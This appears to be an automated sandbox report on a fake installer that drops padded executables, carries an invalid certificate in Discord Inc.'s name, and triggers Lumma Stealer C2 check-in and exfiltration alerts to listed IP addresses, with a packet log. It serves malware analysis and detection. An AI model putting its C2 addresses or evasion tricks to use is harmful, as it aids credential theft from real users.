SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-TDUHA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-C08U5.tmp\M6BJM5KUQF518S8VT.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846325235
Entropy (8bit):	0.13954043794048707
Encrypted:	false
SSDEEP:
MD5:	6A8860A8150021B2D5B9BB707DE4FA37
SHA1:	FEB8A10FEE0388E1D93C669444F3A237C38EA5E4
SHA-256:	0CE2CDB61164F5C03D11DEF609873901F58510F764E8491B4EC1A5D3E0759E0B
SHA-512:	899CC13F5CD136D9F3D06BD13BD608CAB1DCEC1CE2F550A371C76253CFB155149A2CAE9827A365CCCFFA921A607A684DC7CD1A15645D317D7D9C199CEA1735F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO......................h...................@..........................@r.......r.......@.........................................:.e..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc...:.e.......e.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.977133838958429
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	installer_1.05_36.8.exe
File size:	1'134'207 bytes
MD5:	586c45b07a69a89813272e425388029f
SHA1:	979e0ccab38b87ac3d3d4c79a6a3d9351179df26
SHA256:	41fcac4067db860114a270ffadb6083647ed54bc95e43faf1fffbb23f0cf2a2b
SHA512:	b83a662985d4a1165e19bbbb52e10cbaefab972f8a8a5dd65a657b32c29a5d1b69f3c588c41469340538600ecc237a369b7dfca35cca18572511f2b997d1085e
SSDEEP:	24576:SGjZb7WC6n1V1ZkIppYCHKW0pPM5nhO9LI5mnx1+lEU/6Wx:3VK11Vr/ppdqWy05nkLI5mn7DUCWx
TLSH:	2035230BD754D832FFB54EB07DB549218F7675060CA0A68AE78DCEDCB3422C1B999316
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n.......B...8.....

File Icon


Icon Hash:	70664252e2d1900b

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4E807C58 [Mon Sep 26 13:21:28 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/09/2024 01:00:00 25/09/2027 00:59:59
Subject Chain	CN=Discord Inc., O=Discord Inc., L=San Francisco, S=California, C=US, SERIALNUMBER=5128862, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.1.3.6.1.4.1.311.60.2.1.3=US
Version:	3
Thumbprint MD5:	5D2A3557A29B3D769CD29535A5E3D35D
Thumbprint SHA-1:	6C7552617E892DFCA5CEB96FA2870F4F1904820E
Thumbprint SHA-256:	77E85A01A656323340749C2D61FA129C86DA12533CAC6A4FCF2C81C9D8D63A40
Serial:	0DE9CF2E718364A0062E0D83093E34D7

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F0E0C81D5DBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F0E0C81D2BDh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F0E0C81D2ABh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F0E0C81ABAAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F0E0C81CF81h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F0E0C81AC33h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F0E0C81ABAAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x10352	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x112507	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x10352	0x10400	13771bd4d9aef11c4b7af06792edfb03	False	0.9273287259615385	data	7.710970143409904	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x105000	0xf32	0x1000	893c25762430990a1e811368d780dea7	False	0.600341796875	data	5.524679239165085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4250	0x8fda	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0005702492803996
RT_ICON	0xfd22c	0x2f90	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0009034165571615
RT_ICON	0x1001bc	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.7318958502847844
RT_ICON	0x102824	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.8035063752276868
RT_ICON	0x10394c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.900709219858156
RT_DIALOG	0x103db4	0x100	data	English	United States	0.5234375
RT_DIALOG	0x103eb4	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x103fd0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x104030	0x4c	data	English	United States	0.8026315789473685
RT_MANIFEST	0x10407c	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T15:47:31.898046+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.96.1	443	TCP
2025-01-06T15:47:32.368937+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49737	104.21.96.1	443	TCP
2025-01-06T15:47:32.368937+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	104.21.96.1	443	TCP
2025-01-06T15:47:32.912074+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.96.1	443	TCP
2025-01-06T15:47:33.418466+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49738	104.21.96.1	443	TCP
2025-01-06T15:47:33.418466+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	104.21.96.1	443	TCP
2025-01-06T15:47:34.102061+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.96.1	443	TCP
2025-01-06T15:47:35.740233+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	104.21.96.1	443	TCP
2025-01-06T15:47:36.370066+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49740	104.21.96.1	443	TCP
2025-01-06T15:47:37.035452+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.96.1	443	TCP
2025-01-06T15:47:38.736097+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.96.1	443	TCP
2025-01-06T15:47:39.775285+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.96.1	443	TCP
2025-01-06T15:47:40.728430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	104.21.96.1	443	TCP
2025-01-06T15:47:41.205911+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	104.21.96.1	443	TCP
2025-01-06T15:47:41.951452+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	185.161.251.21	443	TCP
2025-01-06T15:47:42.929240+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	172.67.208.58	443	TCP
2025-01-06T15:47:43.351136+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	172.67.208.58	443	192.168.2.4	49746	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 15:47:31.435363054 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.435391903 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:31.435477972 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.438193083 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.438220024 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:31.897876978 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:31.898046017 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.902926922 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.902955055 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:31.903296947 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:31.943542004 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.953274012 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.953304052 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:31.953403950 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.368947983 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.369071960 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.369127035 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.371285915 CET	49737	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.371304989 CET	443	49737	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.379051924 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.379101992 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.379194975 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.381941080 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.381953001 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.911886930 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.912074089 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.913539886 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.913552046 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.913794994 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:32.914975882 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.914998055 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:32.915040970 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418479919 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418526888 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418555021 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418581963 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418607950 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418633938 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418678999 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418715954 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.418716908 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.418716908 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.418744087 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.418787003 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.419037104 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.419070005 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.419083118 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.423047066 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.423090935 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.423096895 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.474719048 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.509789944 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.509844065 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.509869099 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.509901047 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.509917974 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.509948015 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.509954929 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.509970903 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.510001898 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.510350943 CET	49738	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.510365009 CET	443	49738	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.646229982 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.646272898 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:33.646362066 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.646754980 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:33.646765947 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:34.101960897 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:34.102061033 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:34.103405952 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:34.103419065 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:34.103679895 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:34.105187893 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:34.105370045 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:34.105401039 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:34.105454922 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:34.105464935 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.198261976 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.198355913 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.198503017 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.198566914 CET	49739	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.198580980 CET	443	49739	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.255423069 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.255459070 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.255532026 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.255810976 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.255822897 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.740123034 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.740232944 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.741640091 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.741650105 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.741899014 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:35.743102074 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.743204117 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:35.743235111 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:36.370075941 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:36.370167017 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:36.370218039 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:36.370392084 CET	49740	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:36.370409012 CET	443	49740	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:36.579828978 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:36.579878092 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:36.579946995 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:36.580358982 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:36.580369949 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.035375118 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.035451889 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:37.037111044 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:37.037122965 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.037349939 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.073745012 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:37.073889971 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:37.073914051 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.073976994 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:37.073990107 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.976680994 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.976797104 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:37.976958990 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:37.976999044 CET	49741	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:37.977024078 CET	443	49741	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:38.251852989 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:38.251888990 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:38.251974106 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:38.252280951 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:38.252291918 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:38.735968113 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:38.736097097 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:38.737416029 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:38.737425089 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:38.737662077 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:38.738935947 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:38.739037037 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:38.739042044 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.239375114 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.239480019 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.239547014 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.239723921 CET	49742	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.239744902 CET	443	49742	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.299536943 CET	49743	443	192.168.2.4	104.21.96.1
Jan 6, 2025 15:47:39.299572945 CET	443	49743	104.21.96.1	192.168.2.4
Jan 6, 2025 15:47:39.299645901 CET	49743	443	192.168.2.4	104.21.96.1
